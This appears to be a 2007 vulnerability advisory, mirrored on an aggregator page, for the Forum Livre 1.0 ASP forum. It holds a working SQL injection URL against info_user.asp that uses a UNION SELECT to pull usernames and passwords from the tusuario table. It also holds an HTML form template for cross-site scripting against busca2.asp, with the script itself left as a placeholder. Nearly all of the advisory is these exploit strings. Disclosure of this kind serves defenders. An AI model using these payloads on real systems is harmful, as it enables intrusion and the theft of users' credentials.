Forum Livre 1.0 (SQL Injection / XSS) Multiple Remote Vulnerabilities

🗓️ 26 Jan 2007 00:00:00Reported by RootType

Forum Livre 1.0 Multiple Remote Vulnerabilities in SQL Injection and XSS. Example exploits provided


                                                *******************************************************************************
#&nbsp;Title&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;Forum&nbsp;Livre&nbsp;1.0&nbsp;Multiple&nbsp;Remote&nbsp;Vulnerabilities
#&nbsp;Author&nbsp;&nbsp;:&nbsp;&nbsp;ajann
#&nbsp;Contact&nbsp;:&nbsp;&nbsp;:(
#&nbsp;$$&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;Free

*******************************************************************************

[[SQL]]]---------------------------------------------------------

Login&nbsp;Before..-&gt;

http://[target]/[path]//info_user.asp?user=[SQL]

Example:

//info_user.asp?user=-1'union%20select%200,0,0,loginu,senhau,0,0,0,0,0,0%20from%20tusuario

[[/SQL]]

[[XSS]]]---------------------------------------------------------

Login&nbsp;Before..-&gt;

http://[target]/[path]//busca2.asp&nbsp;(POST&nbsp;Method)&nbsp;[SQL]

Example:

&lt;form&nbsp;method=&quot;POST&quot;&nbsp;action=&quot;http://[TARGET]/[path]/busca2.asp&quot;&gt;
&lt;input&nbsp;type=&quot;text&quot;&nbsp;name=&quot;palavra&quot;&nbsp;value=&quot;[#]XSS&nbsp;HERE[#]&quot;&gt;
&lt;input&nbsp;type=&quot;radio&quot;&nbsp;value=&quot;all&quot;&nbsp;name=&quot;tipo&quot;&nbsp;checked&gt;
&lt;input&nbsp;type=&quot;radio&quot;&nbsp;value=&quot;some&quot;&nbsp;name=&quot;tipo&quot;&gt;
&lt;select&nbsp;size=&quot;1&quot;&nbsp;name=&quot;forum&quot;&gt;
&lt;option&nbsp;value=&quot;&quot;&gt;Todos&nbsp;os&nbsp;f&amp;#65533;runs&lt;/option&gt;
&lt;option&nbsp;value=&quot;&quot;&gt;F&amp;#65533;rum&nbsp;ComCatz&lt;/option&gt;
&lt;input&nbsp;type=&quot;submit&quot;&nbsp;value=&quot;Investigar&quot;&nbsp;name=&quot;B1&quot;&gt;
&lt;/form&gt;

[[/XSS]]

&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;
#&nbsp;ajann,Turkey
#&nbsp;...

#&nbsp;Im&nbsp;not&nbsp;Hacker!

26 Jan 2007 00:00Current

7.1High risk

Vulners AI Score7.1